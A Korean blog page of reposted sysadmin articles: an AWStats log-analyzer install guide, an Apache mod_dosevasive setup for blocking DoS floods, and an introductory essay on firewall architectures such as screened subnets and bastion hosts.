달력

42024  이전 다음

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
웹로그분석기 설치기 - Awstats
글쓴이 : 문용우 (2004년 03월 03일 오전 10:56) 읽은수: 2,667 [ 아파치 # 트랙백(0) 인쇄용 페이지 본문 E-Mail로 보내기 ]
아파치 ####################################
# HowTo - Awstats 웹로그 분석 설치 #
# #
# 2004.03.03 linuxxer #
# #
####################################

* Webalizer 를 많이 사용하시지만
awstats는 좀더 화려한(?) 인터페이스와
다양한 정보를 제공해줍니다.


[목차]

1. 준비사항
2. Setup / Configure
3. Complete



1. 준비사항

프로젝트 싸이트 : http://awstats.sourceforge.net
다운로드 : http://awstats.sourceforge.net/files/awstats-6.1.tgz

웹로그분석이기 때문에 Web Server는 이미 설치가 되어 있어야 합니다.
( Apache 설치문서는 많이 있기 때문에 별도 설명을 하지 않음을
양해해 주시기 바랍니다. )

2. Setup / Configure

다운로드 받은 압축파일을 푸시면 docs 디렉토리안에 *.html 파일들이
Install 방법과 Plug-in사용법등 다양하게 정보를 같이 제공하고 있읍니다.
(프로젝트 홈페이지에 Install 방법 없읍니다. 꼭 *.html 을 보세요.)

tar xvfz awstats-6.1.tgz
mv awstats-6.1/ /usr/local/awstats
chmod 755 /usr/local/awstats
mkdir /etc/awstats
mkdir /var/lib/awstats

cd /usr/local/awstats/tools
./configure.pl (3가지정도를 물어보는데 잘 읽어보시면 뭔말인지
아실겁니다.)

만일 요기까지 잘 따라 하셨다면 에러가 없을겁니다.

configure.pl 을 잘 실행 시키셨다면 자신이 정한 name으로
awstats.[정한 name].conf 파일이 생성되어 있을겁니다.
이 파일을 여서서 52라인으로 가보시면

LogFile="/var/log/httpd/mylog.log" 되어 있읍니다.
이것을
LogFile="[자신이 사용하는 웹서버의 access 로그]"
를 지정하시면 됩니다.
제가 사용하는 예를 보여드리면
LogFile="/usr/local/apache/logs/access_log" 사용하고 있읍니다.

:wq


/usr/local/awstats/tools/ 아래보시면 httpd_conf 파일이 있읍니다.
이 파일을 vi로 여셔서 내용전체를 웹서버가 설치된 conf/httpd.conf 파일의 맨 하단에
붙여넣으시면 됩니다.

:wq


3. Complete

간단하게 다 되었읍니다 ^^ 이제 웹브라우져로 확인을 해봐야겠죠!

http://[웹서버]/awstats/awstats.pl?config=[자신이 정한 name]

한글화도 아주 잘 되어 있읍니다.


자... 웹로그분석이니 Cron 작업도 빼 먹으면 안되겠죠?

vi /etc/crontab 하셔서
0-59/6 * * * * root /usr/local/awstats/wwwroot/cgi-bin/awstats -update -config=[자신이 정한 name]

:wq


로그분석 시간간격은 조정하시면 됩니다.


**************************************
관련 문의 사항은 : linuxxer@chollian.net

관련 링크

Posted by tornado
|
Apache 에서 DoS 공격 막기 (1.3.x 2.x 모두)
글쓴이 : 좋은진호 (2003년 08월 29일 오후 06:55) 읽은수: 3,854 [ 아파치 # 트랙백(0) 인쇄용 페이지 본문 E-Mail로 보내기 ]
아파치 작성자 : 좋은진호(truefeel, http://coffeenix.net/ )
작성일 : 2003.8.20(수) apache v1.3.x
수정일 : 2003.8.25(월) apache v2.x 부분 추가

특정 URL이나 IP일 경우나 특정한 브라우저를 이용하여 DoS(Denial of Service, 서비스거부)
공격이 들어온다면 httpd.conf 에서 SetEnvIf, SetEnvIfNoCase 등과 Allow, Deny 설정으로
간단히 막을 수 있겠지만 일정한 유형이 없다면 해결점을 찾기가 쉽지 않다.

다행히 Apache용 mod_dosevasive 모듈로 DoS 공격을 쉽게 막을 수 있다.
며칠전 1.7버전 발표로 apache 2.x에서도 정상적으로 이 모듈을 이용할 수 있게 됐다.

1. mod_dosevasive 설치

http://www.nuclearelephant.com/projects/dosevasive/
에서 mod_dosevasive (현재 최신버전은 1.7)을 받아온다.

1) 기존에 사용하던 apache 1.3.x에 모듈만 추가할 때

mod_dosevasive.tar.gz 을 푼다음 apxs로 설치

----------------------------------------------
# tar xvfz mod_dosevasive.tar.gz 
# cd dosevasive
# /bin/apxs -iac mod_dosevasive.c
...
[activating module `dosevasive' in /usr/local/apache/conf/httpd.conf]
cp mod_dosevasive.so /usr/local/apache/libexec/mod_dosevasive.so
chmod 755 /usr/local/apache/libexec/mod_dosevasive.so
...
----------------------------------------------

httpd.conf의 LoadModule, AddModule는 apxs가 알아서 추가해준다.

2) apache 1.3.x부터 새로 컴파일할 할 때

mod_dosevasive.tar.gz 을 apache_source_홈/src/modules 에 푼 다음
기존에 apache 컴파일하는 것과 동일한 방법으로 하되, --add-module=... 옵션만
추가해준다.

----------------------------------------------
./configure --prefix=/usr/local/apache \
--enable-module=all --enable-shared=max \
--add-module=src/modules/dosevasive/mod_dosevasive.c  <-- 추가함
make
make install
----------------------------------------------

3) apache 2.x에 모듈만 붙일 때

/bin/apxs -iac mod_dosevasive20.c

2. 설정

httpd.conf 에 아래 설정이 있는지 확인한다.

apache 1.3.x
----------------------------------------------
...
LoadModule dosevasive_module libexec/mod_dosevasive.so
...
AddModule mod_dosevasive.c
----------------------------------------------

apache 2.x
----------------------------------------------
LoadModule dosevasive20_module modules/mod_dosevasive20.so
----------------------------------------------

httpd.conf에는 다음과 같이 설정을 추가한다.
( 단, 아래 설정 중에 apache 2.x일 때는 < IfModule mod_dosevasive20.c> 로 )
----------------------------------------------
< IfModule mod_dosevasive.c>
  DOSHashTableSize  3097
  DOSPageCount    3
  DOSSiteCount    50
  DOSPageInterval   1
  DOSSiteInterval   1
  DOSBlockingPeriod  30
< /IfModule>
----------------------------------------------
DOSHashTableSize  3097

hash table의 크기. IP, URI등을 분석하기 위한 공간으로 쓰이는 것 같은데 정확히는
모르겠다. 접속이 많은 서버이면 수치를 높인다.

DOSPageCount    3
DOSPageInterval   1

DOSPageInterval에서 지정한 시간(초단위)동안 같은 페이지를 3번 요청한 경우
해당 클라이언트 IP를 블럭킹한다. 블럭킹되는 동안에 사용자에게는 403(Forbidden)
코드가 전송된다.

DOSSiteCount    50
DOSSiteInterval   1

DOSSiteInterval에서 지정한 시간동안 어느 페이지나 이미지든 요청 건수가 50번을 넘는
경우 해당 클라이언트 IP를 블럭킹한다. 403코드 보내는 것은 마찬가지.
HTML 내에 이미지가 10개이면 요청 건수는 HTML포함하여 11번이 되므로 이미지가 많은
사이트는 숫자를 크게한다.

DOSBlockingPeriod  30

블럭킹된 IP는 30초동안 접속을 할 수 없다.

3. 모듈 사용을 중지하려면

차단 기능을 이용하지 않기 위해

DOSPageCount 0
DOSSiteCount 0

와 같이 하면 모듈 내부의 default값을 이용해서 동작하므로 LoadModule, AddModule를
주석 처리하는 방법을 써야한다. 또는 Count값을 상당히 큰 수를 지정할 수도 있겠다.

4. 차단하는지 테스트

간단한 테스트 툴로 test.pl을 제공한다.
12번째 줄에

printf("%03d ", $_ );

를 추가하고

apache를 실행시킨 다음 perl test.pl을 해보면 200 OK, 403 Forbidden 된 것을 쉽게
확인할 수 있을 것이다.

DOSPageCount, DOSSiteCount 수치를 너무 낮게 하면 정상적인 접속에 대해서도 차단될 수
있으므로 주의해야 한다. 수치를 낮추고, 같은 페이지를 reload(Ctrl+R)를 여러번했더니
바로 403 페이지가 등장.

403 페이지를 별도로 만드는 것이 좋을 듯 싶다. httpd.conf에 ErrorDocument 403 ... 설정
으로 html을 만들어두면 방문자에게 도움이 되지 않을까...

이젠 ab, lynx 등으로 게시물 조회수를 순간적으로 올린다거나, 시스템 로드를 증가시키는
것까지도 어느정도 막을 수 있을 것이다.

※ syslog 로 로그 남기는 기능과 DOSEmailNotify, DOSSystemCommand 옵션은 제대로 적용
  되지 않아 이 글에 적지 않았다. 정상동작이 확인되면 그 때 추가할 것이다.
Posted by tornado
|

1. 서    론  

2.
방화벽시스템의 기본개념

2-2. 방화벽시스템의 기본 구성요소

3. 시스템 구축방안

4. 방화벽시스템 구축시 고려사항

5. 결    론

 
1. 서 론

  인터넷은 미국 국방성에서 개발한 TCP/IP(Transmission Control Protocol/Internet Protocol) 을 사용하는 네트웍들의 네트웍으로서, 전세계적으로 수천 개의 네트웍과 수 백만대의 호스트로 연결된 네트웍이다. 초기에는 학교, 연구소 등을 접속한 학술 및 연구망으로 활용되다가 최근에는 상용망으로 확장되었다.

  TCP/IP 네트웍 프로토콜 구조는 전세계의 정보 자원에 대해 이기종간 효율적인 상호 접속을 제공하는 연동을 보장하지만, UNIX 시스템과 통신 유틸리티의 소스 개방으로 인하여 여러 가지 보안상의 문제점을 가지고 있어서, 침입자에 의한 피해 사례가 계속해서 증가하고 있는 실정이다.

  인터넷 가입 기관의 시스템이나 네트웍에 피해를 주는 사례는 Telnet을 통한 네트웍 침입 이용뿐만 아니라 침입 후에 시스템에 대한 여러 가지 불법적인 행위, Internet Worm과 같은 불법 프로그램 유통 등 여러 가지 사례들이 보고되고 있다. 이러한 침해 사례는 유형에 따라 예방하고 막을 수 있는 방법을 계층적으로 모델을 세우는 방법들이 연구되고있으며, 해당 계층에 대한 실질적인 보안 도구 개발, 보안 사고에 대비한 보안 정책과 절차를 제시하는 연구 개발, 그리고 IETF(Internet Engineering Task Force) SAAG(Security Area Advisory Group) 산하의 여러 보안 작업 그룹은 각종 보안 서비스를 제공하는 네트웍 응용 프로그램 개발 등 여러 분야에서 연구 개발이 진행되고 있다.

  최근 인터넷 보안 관련 시스템 중에서 특정 기관의 보안 사고를 막을 수 있는 방화벽(Firewall) 시스템에 대한 연구 개발 및 구축이 활발하게 진행되고 있다. 방화벽 시스템은 기관의 보안 정책에 따라 인가된 인터넷 서비스에 대한 액세스는 허용하고, 인가되지않은 서비스에 따르는 트래픽을 철저하게 막음으로써 효율적인 보안 서비스를 제공하도록 한다. 물론 이 방화벽 시스템을 구현하는 것이 기관의 보안을 완전하게 보장하지는 않지만, 가장 효과적이고 비용이 비교적 적게 드는 방법이라고 할 수 있다. 본 고에서는 보안 취약성으로부터 호스트를 보호하는 방법으로서의 방화벽 시스템의 기본 개념과 방화벽 시스템 구성요소, 방화벽 시스템 제품, 그리고 참고문헌을 소개하고자 한다.

2. 방화벽 시스템의 기본 개념

  방화벽의 원래 의미는 건물에서 발생한 화재가 더 이상 번지는 것을 막는 것이다. 이 의미를 인터넷에 적용한다면, 이는 네트워크의 보안 사고나 위협이 더 이상 확대되지 않도록 막고 격리하는 것이라고 할 수 있다. 이는 특히 어떤 기관의 내부 네트워크를 보호하기 위해서는 외부에서의 불법적인 트래픽이 들어오는 것을 막고, 허가하거나 인증된 트래픽만 허용하는 적극적인 방어 대책이라고 할 수 있다.


[그림 1] 인터넷 접속과 위험 지대(Zone of Risk)

  방화벽 시스템의 기본 목표는 네트워크 사용자에게 가능한 한 투명성을 보장하면서 위험 지대를 줄이고자 하는 적극적인 보안 대책을 제공하는 것이다. 다음 [그림 1]은 일반적인 인터네트에 접속되어 있는 네트워크를 나타내고 있는데, 외부와의 투명한 접근을 허용하므로 서 내부 망 전체가 위험 지대임을 보여주고 있으며, [그림 2]의 경우는 외부와 내부 네트워크간의 유일한 경로에 방화벽 시스템을 둠으로써 방화벽 시스템이 보안 서비스를 제공하여 불법적인 트래픽을 거부하거나 막을 수 있는 것이다. 물론 투명성을 보장하지는 않지만 내부 네트워크를 안전지대로 만들 수 있는 것이다.



[그림 2] 방화벽 시스템의 개념

  방화벽 시스템의 구축은 호스트에 대한 보안을 강화시킴으로써 사이트에 많은 이점을 제공한다. 방화벽을 구축,사용함에 있어서의 이점을 요약하면 다음과 같다.

가. 위협에 취약한 서비스에 대한 보호

  방화벽은 네트워크에 대한 보안을 강화하고, 기본적으로 안전하지 않은 서비스를 필터링(filtering)함으로써 서브넷 상에 있는 호스트에 위험을 감소시킬 수 있다. 즉, 단지 선택된 프로토콜만이 방화벽을 통과시키므로 서 서브넷 네트워크 환경은 위험에 덜 노출되게 된다.

나. 호스트 시스템에 대한 액세스 제어

  방화벽은 또한 호스트 시스템에 대한 액세스를 제어할 수 있다. 예를 들면, 외부 네트워크에서 내부 네트워크에 있는 호스토로 접속하고자 할 때, 원하지 않는 액세스는 차단할 수 있다. 따라서 사이트는 메일 서버나 NIS같은 특별한 경우를 제외하고 외부로부터의 액세스를 차단할 수 있다.

다. 보안의 집중

  방화벽은 대부분의 수정된 소프트웨어와 추가되는 보안 소프트웨어를 여러 호스트에 분산시키는 것과는 달리 원하는 호스트에 방화벽을 설치할 수 있다는 점에서 실제적으로 경제적일 수 있다. 특별히, 일회용(one-time) 패스워드 시스템과 그 밖의 추가적인 인증 소프트웨어를 방화벽에 설치할 수 있다.

[그림 3] 일회용 패스워드 시스템

라. 확장된 프라이버시

  프라이버시는 대체적으로 해가 되지 않는 것으로 생각되는 정보가 실제로 공격에 유용하게 사용할 수 있는 실마리를 제공할 수 있기 때문에 어떤 사이트에서는 중요시 된다. 방화벽을 사용하면, 원하는 사이트는 finger와 DNS(Domain Named Service)와 같은 서비스를 막을 수 있다. finger는 마지막 로깅 시간과 메일과 다른 아이템을 읽었는지와 같은 사용자 정보를 알려준다. 그러나, finger는 침입자에게 시스템이 얼마나 자주 사용되는지, 시스템에 연결된 유저가 있는지, 그리고 침해될 수 있는 지에 관한 정보를 알려줄 수 있다.

  방화벽은 또한 사이트 시스템에 관한 DNS 정보를 막을 수 있다. 그래서 사이트 명과 IP 주소를 인터넷 호스트이 사용할 수 없게 해준다. 원하는 사이트는 이러한 정보를 막음으로써 침입자에 유용한 정보를 숨길 수 있다.

마. 네트워크 사용에 대한 로깅과 통계자료

  시스템에 대한 모든 액세스가 방화벽을 통과 한다면, 방화벽은 액세스를 로그할 수 있고, 네트워크 사용에 대한 유용한 통계 자료를 제공한다. 의심이 가는 활동에 대해 적절한 경고 기능을 제공하는 방화벽은 방화벽과 네트워크가 침입 시도를 받고 있는지 또는 침입 되었는지에 대한 세부 사항을 제공해 준다.

바. 정책 구현

  방화벽은 네트워크 액세스 제어 정책에 대한 구현을 제공한다. 사실상, 방화벽은 사용자와 서비스에 대한 액세스를 제어할 수 있다. 그래서, 네트워크 액세스 정책은 방화벽에 의해서 구현될 수 있다. 그러나 방화벽이 없다면, 이러한 정책들은 전적으로 사용자의 협조에 의존해야 한다. 사이트에서는 사용자의 협조에 의존할 수도 있으나 일반적으로 인터넷 사용자에게는 의존 할 수 없다.

2.2 방화벽 시스템의 기본 구성 요소

  방화벽 시스템에 대한 여러 토론 그룹에서는 방화벽 시스템에 대한 일반적인 용어 정의 및 개념을 규정하였다. 그리고 방화벽 시스템이 가지는 여러 가지 기능과 보안 대처 수준에 따라 여러 가지 유형의 방화벽 시스템이 존재할 수 있다. 여기서는 일반적인 방화벽 시스템의 구성요소에 대하여 기술한다.

가. 네트워크 정책(Network Policy)

  방화벽 시스템의 설계, 설치, 사용에 직접적으로 영향을 줄 수 있는 두 가지 레벨의 네트워크 정책이 있다. 상위-레벨 정책은 명확한 내용 즉, 제한된 네트워크로부터 서비스를 허용할 것인가 또는 명확하게 거부할 것인가를 정의하는 네트워크 액세스 정책, 이러한 서비스를 어떻게 사용할 것인가, 그리고 이러한 정책의 예외 조건 등을 말한다. 하위-레벨 정책은 어떻게 방화벽이 실질적으로 액세스를 제한하고 상위-레벨 정책에서 정의한 서비스를 필터링할 것인가에 대한 사항이다.

나. 방화벽 시스템의 사용자 인증 시스템(Advanced Authentication)

  방화벽 시스템은 한 기관의 네트워크 전체를 보호해야 하므로 일반적으로 유닉스 시스템에서 사용되는 단순한 패스워드로 사용자를 인증하는 방법을 사용하지 않는다. 좋은 인증 수단으로 스마트카드(Smartcards), 인증 토큰(Authentication tokens), Biometrics, 그리고 소프트웨어 메커니즘 등을 사용한다. 현재 많이 사용하고 있는 우수한 인증 시스템으로는 일회용 패스워드이다. 즉 매번 사용자가 로그인을 시도할 때 마다 매번 새로운 패스워드를 이용하는 것으로, 이는 침입자가 최근 이용하고 있는 sniffer에 의한 패킷 가로채기를 통해 시스템의 사용자ID와 패스워드를 알아내서 침입하는 것을 근본적으로 막아준다.

다.패킷 필터링(Packet Filtering)

  IP 패킷 필터링은 통상 라우터 인터페이스를 지나는 패킷을 필터링하기 위해 설계된 패킷 필터링 라우터(packet filtering router)에 의해 행해진다. 패킷 필터링 라우터는 IP 패킷중 다음을 전부 또는 일부를 필터링할 수 있다.

- source IP address
- destination IP address
- TCP/IP source port
- TCP/IP destination port

라. 응용 계층 게이트웨이(Application Level Gateway)

  응용 계층 서비스는 축적전달(Store-and-Forward) 방법을 사용하는 경우가 많은데, 이는 게이트웨이에서 수행하는 방법과 같다. 게이트웨이는 송신자 응용 서비스가 보내는 정보를 그대로 전달하면 되는 것이다. 실제로 이 게이트웨이에서는 보안을 위한 특별한 서비스가 제공된다. 예를 들어 내부와 외부간의 모든 응용 레벨의 트래픽에 대해 로깅이나, Telnet이나 FTP 등에서 사용자 인증이 필요한 경우에 우수한 인증 방법을 사용한다. 이 응용 계층의 게이트웨이 기능은 프럭시 서버(Proxy Server)라는 서버 기능을 제공하게 된다. 예를 들어 외부의 전자우편 클라이언트가 내부의 어떤 호스트내 전자우편 서버와 접속하기를 원하면, 중간에 프럭시 서버가 이를 받아 다시 내부의 서버에게 전달하는 방식이 된다.

[그림 4] 응용 레벨 게이트웨이

마. 스크린 라우터(Screen Router)

  어떤 기관이 인터넷에 접속할 경우 라우터(Router)라는 인터넷 패킷을 전달하고 경로배정(Routing)을 담당하는 장비를 사용하게 된다. 이러한 라우터는 단순 장비가 아니라 패킷의 헤더 내용을 보고 필터링(스크린)할 수 있는 능력을 가지고 있다. 네트워크 레벨의 IP(Internet Protocol) 데이터그램에서는 출발지 및 목적지 주소에 의한 스크린, TCP(Transmission Control Protocol) 레벨의 패킷에서는 네트워크 응용을 판단하는 포트(Port) 번호에 의한 스크린, 프로토콜별 스크린 등의 기능을 제공하게 된다. 이 스크린 라우터만으로도 어느 정도 수준의 보안 접근 제어를 통해 방화벽 시스템 환경을 구현할 수 있으나 라우터에서 구현된 펌웨어의 수준으로는 제한점이 많고 복잡한 정책을 구현하기 어려우므로 보통 스크린 라우터와 다음에서 설명하는 베스쳔 호스트를 같이 운영한다.

[그림 5] 스크린 라우터

바. 베스쳔 호스트(Bastion Hosts)

  베스쳔 호스트는 방화벽 시스템이 갖는 기능 중 가장 중요한 기능을 제공하게 된다. 원래 베스쳔(Bastion)은 중세 성곽의 가장 중요한 수비부분을 의미하는데, 방화벽 시스템 관리자가 중점 관리하는 시스템이 된다. 그래서 방화벽 시스템의 중요 기능으로서 액세스 제어 및 응용 시스템 게이트웨이로서 프럭시 서버의 설치, 인증, 로그 등을 담당하게 된다. 그러므로 이 호스트에는 외부의 침입자가 주로 노리는 시스템이 므로 일반 사용자의 계정을 만들지 않고 해킹의 대상이 될 어떠한 조건도 두지 않는 가장 완벽한 시스템으로서 운영되어야 한다. 현재 판매되고 있는 방화벽 시스템은 이러한 베스쳔호스트를 제공하는 것이라고 보면 된다.

사. 이중 네트워크 호스트(Dual-Homed Hosts)

  이중 네트워크 호스트는 2개 이상의 네트워크에 동시에 접속된 호스트를 말하며 보통 게이트웨이 호스트라는 시스템이다. 2개의 네트워크는 외부 네트워크와 내부 네트워크를 의미하고, 이 두 네트워크간의 유일한 패스를 제공하도록 조정된다. 즉 동적인 경로 배정과 경로 정보 전달을 배제하므로 모든 내.외부 트래픽은 이 호스트를 통과하도록 하여 베스쳔 호스트의 기능을 여기에 구현하는 것이다.

[그림 6] 이중 네트워크 호스트

아. 스크린 호스트 게이트웨이(Screen Host Gateway)

  스크린 호스트 게이트웨이 개념은 이 시스템을 내부 네트워크에 두어 스크린 라우터가 내부로 들어가는 모든 트래픽을 전부 스크린 호스트에게만 전달되도록 하겠다는 것이다. 또한 스크린 라우터는 내부에서 외부로 가는 모든 트래픽에 대해서도 스크린호스트에서 출발한 트래픽만 허용하고 나머지는 거부하게 된다. 그래서 내부와 내부네트워크사이의 경로는 외부 네트워크 - 스크린 라우터 - 스크린 호스트 - 내부 네트워크 이외의 경로는 결코 허용하지 않게 된다. 이 스크린 호스트도 결국 베스쳔 호스트, 이중 네트워크 호스트의 개념이 집합된 시스템이다.

[그림 7] 스크린 호스트 게이트웨이

자. 스크린 서브넷(Screen Subnet)

  스크린 서브넷은 일명 DMZ(DeMiliterization Zone)의 역할을 외부 네트워크와 내부 네트워크사이에 두겠다는 것으로서 완충 지역 개념의 서브넷을 운영하는 것이다. 여기에 스크린 라우터를 이용하여 이 완충 지역을 곧장 통과 못하게 하지만 외부 네트워크에서도 내부 네트워크에서도 이 스크린 서브넷에 접근할 수는 있다. 특히 어떤 기관에서 외부로 공개할 정보 서버(Information Server), 즉 익명FTP서버, 고퍼(Gopher) 서버, 월드와이드웹(WWW) 서버 등을 여기에서 운영하면 된다.

[그림 8] 스크린 서브넷

차. 암호 장치(Encryption Devices)

  암호 장치는 어떤 기관의 네트워크가 공공의 인터넷을 통해 여러 지역으로 분산되어 있을 경우에 적합하다. 즉 어떤 본사 네트워크가 방화벽 시스템을 구축하였을 때 지역적으로 떨어진 지점 네트워크도 본사 네트워크처럼 보호되어야 하는 것이다. 이 경우 본사와 지점 네트워크간에 인터네트로 연결되었다면 안전을 보장하기 어려우므로 두 지점 사이를 암호 장비를 이용하여 가상 사설 링크(VPL, Virtual Private Link)로 만들어 운영하면 된다. 그러므로 서 두 개의 네트워크는 하나의 안전한 네트워크로 만드는 것이다. 종단간 암호 방식은 데이터나 패스워드 등이 도청 되는 것을 막는 방식을 원하는 사설 백본(Private Backbone)에 여러 인터넷 접속점을 가진 기관에서 유용할 것이다.

[그림 9] 암호 장치

3. 방화벽 시스템 구축 방안

 방화벽 시스템을 구축하는 개념에는 2가지 유형 즉,

* 네트워크 레벨(Network Level) 방화벽 시스템,

* 응용 레벨(Application Level) 방화벽 시스템

 이 있다. 이러한 2가지 유형에 대해 어떤 것이 좋고 어떤 것이 나쁘다는 식의 판단을 내리기는 어려운 점이 있지만 기관의 요구사항에 어떤 것이 부합되는지를 잘 판단해야 한다.

  네트워크 레벨의 시스템은 IP 패킷의 Source/Destination 주소와 포트에 의해 결정된다. 단순한 라우터는 낡은 방식의 네트워크 레벨 방화벽을 제공하는데, 이것은 어떤 패킷이 동작하는지 어떠한 네트워크에서 왔는지를 판단해야 하는 복잡한 규칙에 대해 판단하기 어렵다. 하지만 현재의 네트워크 레벨 방화벽은 매우 복잡해져서 허용된 접속들의 상태와 어떤 종류의 데이터 내용 등을 관리할 수 있다.

  한가지 중요한 차이점은 네트워크 레벨 방화벽이 라우트를 직접 제어할 수 있으며, 할당된 IP 블럭을 정당하게 사용할 수 있도록 해준다는 점이다. 네트워크 레벨 방화벽은 매우 빠르며, 사용자에게 투명한 서비스를 보장한다.

* 네트워크 레벨 방화벽의 사례 : "스크린 호스트 방화벽" 이라고 할 수 있으며, 호스트에 대한 액세스 제어가 네트워크 레벨에서 동작하는 라우터에서 이루
                                                 어지며, 이때의 호스트가 베스쳔 호스트이다.

* 네트워크 레벨 방화벽의 사례 : "스크린 서브넷 방화벽"으로 구현될 수 있으며 이것은 네트워크 레벨에서 동작하는 라우터가 하나의 전체 네트워크에 대한
                                                액세스 제어를 할 수 있음을 말한다. 스크린 호스트의 네트워크란 점만 빼면 스크린 호스트와 유사한다.

  응용 레벨 방화벽은 2개의 네트워크 간에 항상 직접적인 트래픽을 막고, 트래픽에 대해 로그, Audit 기능 등이 지원되는 프락시를 실행하는 기계를 말한다. 프락시 응용은 방화벽의 소프트웨어 부분이므로 많은 로그와 액세스 제어 기능을 제공하는 것이 좋다. 응용 레벨 방화벽은 주소 번환기로서 사용될 수 있다. 어느 한 쪽에서 들어와 다른 쪽으로 나가기 때문에 처음 시도한 접속에 대해 효과적인 마스킹할 수 있다. 이렇게 중도에 응용을 가지는 것은 어떤 경우에는 성능에 문제를 가질 수 있으며, 투명성이 보장되지 않는다. TIS 툴킷 등에 구현된 것과 같은 초기 응용 레벨 방화벽은 일반 사용자에게 투명하지도 않으며, 어떤 연습이 필요하다. 최근의 응용 레벨 방화벽은 투명성이 보장되며, 보다 상세한 감사 보고와 네트워크 레벨 방화벽보다 보다 안전한 보안 모델을 제공하고 있다.

* 응용 레벨 방화벽 사례 : "이중 네트워크 게이트웨이가 있을 수 있으며, 프락시를 실행하는 고도의 보안 기능이 제공되는 시스템이다. 이것은 2개의 네트
                                       워크 인터페이스를 가지고 하나의 네트워크 인터페이스에 대해서는 모든 트래픽이 그냥 통과되는 것을 막는다.

  미래의 방화벽 시스템은 네트워크 레벨과 응용 레벨 방화벽의 혼합형에 해당된다. 이는 네트워크 레벨에서는 보다 상위의 기능을 가지려 하고 응용 레벨에서는 보다 하위 기능을 갖고자 하기 때문이다. 최종 결과는 아마 매우 빠른 패킷 스크린 기능과 모든 트래픽에 대한 로그와 감사 등이 예측되며, 특히 네트워크를 통해 전달되는 트래픽의 보호를 위해 암호 기법이 사용될 것이다.

4. 방화벽 시스템 구축시 고려 사항

  앞에서 설명한 구성요소를 가지고 실질적으로 방화벽 시스템에서 요구하는 대부분의 기능을 구현할 수 있는데, 방화벽 시스템의 가장 중요한 목적인 내부 네트워크의 보호라는 관점에서 다음의 고려 사항을 염두에 두고 방화벽의 설계 및 사양을 작성하거나, 구현 혹은 설치를 어떻게 할 것인지를 판단해야 한다.

  첫째, 가장 중요한 관심사로서 해당 조직이 어떻게 시스템을 운영할 것인지에 대한 정책을 반영하는 것으로서, 매우 중요한 네트워크에서의 작업을 제외하고는 모든 접속을 거부하는 식의 시스템을 운영할 것인가 아니면 덜 위협적인 방법으로 접속해 오는 트래픽에 대해 조사하고 점검하는 방식으로 시스템을 운영할 것인가라는 선택을 할 수 있다. 이러한 선택은 보안 결정권자에 달려있다.

  둘째, 어느 정도 수준의 감시, 백업 및 제어를 원하는가 라는 문제이다. 첫번째 문제로서 기관이 받아들일 수 있는 위험 수준이 세워졌다면, 이제 어떤 것을 감시하고, 허용하고, 거부할 것인가라는 체크리스트를 작성해야 한다. 즉, 기관의 전체적인 목적을 결정하고 위험 평가에 근거한 필요성 분석을 하며, 구현하고자 계획하여 사양을 마련했던 목록과 구별될 수 있는 문제점을 가려낸다.

  셋째, 경제적인 문제이다. 우리가 여기에서 정확하게 지적할 수 있지는 못하지만 이것을 구매하는데 드는 비용과 구현에 드는 비용을 정확하게 정량적으로 산출하는 것이 중요하다. 예를 들어 완전한 방화벽 제품의 구매 비용은 무료에서 100,000 달러에 이를 수 있으며, 방화벽 시스템의 우선 설치 및 구현에 드는 비용 뿐 아니라 지속적으로 드는 비용과 지원비 등을 계산해야 한다.

  넷째, 기술적인 측면에서 몇 가지 결정해야 할 것이 있는데, 기관 내부의 네트워크와 네트워크 서비스 제공자 사이에서의 고정적 트래픽 라우팅 서비스 등에 대해서도 결정하야 한다. 트래픽라우팅은 라우터에서의 IP 수준의 스크린 규칙이나 혹은 프락시게이트웨이나 서비스에서의 응용 수준 등에서 구현되어야 한다.

  다섯째, telnet, ftp, news 등의 프락시를 설치되는 외부에 노출된 기계가 외부 네트워크에 둘 것인가 혹은 하나 이상의 내부 기계와 통신을 허용하는 필터링으로서의 스크린 라우터를 만들 것인가를 결정해야 한다. 각각의 접근 방식은 장단점이 있는데, 프락시 기계가 고급 수준의 기록성과 잠재적인 보안 기능을 많이 구현해야 하는 만큼 또한 비용이 많이 요구되기 때문이다. 프락시는 요구되는 서비스 마다 따로 설계되어야 하며, 편리성과 보안에 드는 비용은 상대적이다.

 그리고 앞의 내용과 중복되기는 하지만 다음 사항도 고려해야 한다.

- 손실 제어(Damage Control) : 방화벽 시스템이 침해 당할 수 있다면, 내부 네트워크로 들어오기 위해 어떤 취약점들이 이용될 수 있으까?

- 위험 지역(Zone of risk) : 일반적인 관리 상황에서 위험이 있는 곳이 얼마나 큰가? 이 것의 측정은 외부에서 손쉽게 접근 가능한 내부망의 호스트 수와 라우터 수이다.

- 시스템 실패 환경(Failure mode) : 만약 방화벽 시스템이 침해 당한다면 얼마나 쉽게 이것을 탐지할 수 있는지, 얼마나 쉽게 미리 감지되어지는지, 침투 수법, 경로 등을 검사하는데 필요한 정보가 얼마나 남아 있을 수 있는지를 검토한다.

- 쉬운 이용 환경(Ease of use) : 일반 사용자가 사용할 경우 방화벽 시스템이 얼마나 불편함을 주는지를 고려한다.

- 기본 입장(Stance) : 자신의 기관에서 설치할 방화벽 시스템의 기본적인 구축 개념이 무엇인지를 정확하게 정의해야 한다. 즉 네트워크 레벨의 방화벽을 구현할 것인가, 아니면 응용 레벨의 방화벽을 구현할 것인가 하는 것을 말한다.

5. 결 론

  현재 어떤 기관이 인터넷에 연동할 때 가장 효과적인 보안 대책은 방화벽(Firewall)을 설치하는 것라고 할 수 있지만, 방화벽의 상용 제품은 하드웨어 플랫폼, 컨설팅, 네트워크 재 설계 등으로 인한 비용이 많이 된다. 따라서 비용에 해당하는 완벽한 보안 해결책을 제공받을 수 있는지 의문이 있을 수 있다.

  방화벽이 가장 우수한 해결책이라 하더라도, 먼저 공개 도구를 설치하거나 라우터 등에서 방화벽의 설치 및 운영 경험을 갖는 것이 중요하다. 라우터에서 제공하는 패킷 스크린 기능은 외부의 어떤 특정 네트워크, 호스트 등에 대해 또한 응용 프로토콜 등에 대한 액세스 제어 기능을 제공하므로 가장 기본적인 방화벽을 만들 수 있고 그밖에 필요한 사용자 인증, 응용 계층 프락시 등은 공개 도구를 이용하여 사용자 인터페이스나 여러 관리 지원 기능 등을 해결할 수 있다.

